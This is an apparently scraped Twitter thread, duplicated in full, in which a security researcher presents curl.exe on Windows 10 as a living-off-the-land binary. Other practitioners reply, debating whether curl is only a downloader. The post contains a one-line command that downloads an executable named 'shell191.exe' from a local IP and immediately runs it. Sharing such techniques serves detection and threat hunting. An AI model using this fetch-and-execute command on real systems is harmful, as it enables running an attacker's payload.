@reegun21

#Curl.exe is the new #rundll32.exe - #LOLbin

Affected systems - Windows 10 build 17063 and Later

curl -O http://192.168.191.1/shell191.exe & start shell191.exe

More info - medium.com/@reegun/curl-e …

youtu.be/f2xpCl2Y7t8

#blueteam #redteam #dfir #ThreatHunting

1:47 AM - 28 Jan 2020

34 Retweets **89** Likes

2 34 89

Reegun @reegun21 · 6h
cc @Oddvarmoe @Hexacorn @BleepinComputer

Oddvar Moe @Oddvarmoe · 6h
Replying to @reegun21
Nice find, but I think I would classify curl as a pure downloader and not compare it to rundll32. Start is part of cmd.exe.

2 11

Conor Richard @xenosCR · 6h
Agreed. The "&" is a command separator. The above command runs curl, then start.

1 2

1 more reply

@reegun21

#Curl.exe is the new #rundll32.exe - #LOLbin

Affected systems - Windows 10 build 17063 and Later

curl -O http://192.168.191.1/shell191.exe & start shell191.exe

More info - medium.com/@reegun/curl-e …

youtu.be/f2xpCl2Y7t8

#blueteam #redteam #dfir #ThreatHunting

1:47 AM - 28 Jan 2020

34 Retweets **89** Likes

2 34 89

Reegun @reegun21 · 6h
cc @Oddvarmoe @Hexacorn @BleepinComputer

Oddvar Moe @Oddvarmoe · 6h
Replying to @reegun21
Nice find, but I think I would classify curl as a pure downloader and not compare it to rundll32. Start is part of cmd.exe.

2 11

Conor Richard @xenosCR · 6h
Agreed. The "&" is a command separator. The above command runs curl, then start.

1 2

1 more reply